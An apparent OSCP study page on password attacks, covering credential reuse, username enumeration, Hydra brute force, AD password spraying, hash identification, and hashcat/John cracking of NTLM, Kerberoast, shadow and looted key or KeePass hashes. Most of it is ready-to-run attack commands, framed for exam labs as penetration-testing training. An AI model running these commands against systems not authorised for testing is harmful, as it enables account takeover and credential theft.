Password attacks & cracking¶
Here's the OSCP truth about passwords: brute force is a last resort; credential reuse is the real attack. A password you find (in a config, a DB, SNMP, a crackable hash) and then try everywhere roots more boxes than any wordlist. So the mindset is: harvest credentials relentlessly, then spray each one across every service and host before you ever reach for Hydra.
The reuse principle (internalise this)¶
flowchart LR
A["one credential found anywhere"] --> B["SSH"]
A --> C["SMB / WinRM"]
A --> D["web / admin panels"]
A --> E["RDP / MSSQL / MySQL"]
A --> F["spray across ALL AD users"]
Every credential is a master key you try in every lock. The DB password in a web config is frequently the SSH root password. The user you cracked on box 1 often logs into box 2. When you find a credential, your next action is always "where else does this work?"
Enumerate usernames first¶
Brute-forcing is pointless without valid usernames, and it's the usernames that are hard to get. Harvest them before touching passwords: SMTP (smtp-user-enum), SNMP, LDAP/ldapdomaindump, the website (authors, emails), kerbrute userenum. A confirmed username list is worth more than a wordlist.
Online brute force (Hydra) — the last resort¶
hydra -l $USER -P /usr/share/wordlists/rockyou.txt ssh://$IP
hydra -L users.txt -P pass.txt ftp://$IP
hydra -l admin -P rockyou.txt $IP http-post-form "/login.php:user=^USER^&pass=^PASS^:Invalid"
hydra -L users.txt -P pass.txt $IP http-get /admin # HTTP basic auth
: is the failure indicator — Hydra counts a login as successful when that text is absent. Get it wrong and every attempt reads as success/failure incorrectly. Grab a real failed-login response first to find the right marker.
Spraying vs brute — and the lockout trap¶
netexec smb $DC -u users.txt -p 'Welcome2026!' --continue-on-success # ONE password, MANY users
kerbrute passwordspray -d $DOMAIN --dc $DC users.txt 'Season2026!'
Why spray, not brute, against AD/SMB/RDP: these lock accounts after a few failures. Brute-forcing (many passwords on one user) locks that user fast. Spraying (one likely password across many users) stays under the per-account threshold. Always check the policy first:
netexec smb $IP -u $USER -p $PASS --pass-pol, then spray one password per observation window. Locking out accounts on the exam can tank a whole AD set.
Identify the hash before you crack¶
Recognise the common shapes by eye — it saves time:$1$=md5crypt, $6$=sha512crypt (Linux shadow), 32 hex = NTLM/MD5, krb5tgs$23$=Kerberoast, krb5asrep=AS-REP, NetNTLMv2 from Responder. The format dictates the hashcat mode.
Cracking (Hashcat) — modes you'll actually use¶
hashcat -m 1000 hashes.txt rockyou.txt # NTLM (from secretsdump/SAM)
hashcat -m 13100 tgs.txt rockyou.txt # Kerberoast TGS-REP
hashcat -m 18200 asrep.txt rockyou.txt # AS-REP roast
hashcat -m 5600 netntlm.txt rockyou.txt # NetNTLMv2 (Responder captures)
hashcat -m 1800 shadow.txt rockyou.txt # Linux sha512crypt (/etc/shadow)
hashcat -m 1000 hashes.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule # with rules
rockyou + best64 rule cracks a huge fraction of exam-realistic passwords — rules mutate the wordlist (append years, !, capitalise) to match password-policy habits. If straight rockyou fails, add rules before reaching for bigger lists.
Cracking (John) — and the *2john helpers¶
unshadow /etc/passwd /etc/shadow > u.txt ; john --wordlist=rockyou.txt u.txt
ssh2john id_rsa > id.hash ; john --wordlist=rockyou.txt id.hash # passphrase on a looted private key
zip2john secret.zip > z.hash ; keepass2john db.kdbx > kp.hash
*2john family turns an encrypted thing you looted (an SSH key, a zip, a KeePass DB) into a crackable hash. Found a password-protected file? There's almost always a 2john for it — that file is a credential waiting to be unlocked.
Build a targeted wordlist when generic fails¶
Reasoning: whenrockyou misses, the password is often a company/product-specific word that only appears on their site — cewl harvests exactly those, and hashcat rules mutate them. This is the move when the password is clearly custom, not common.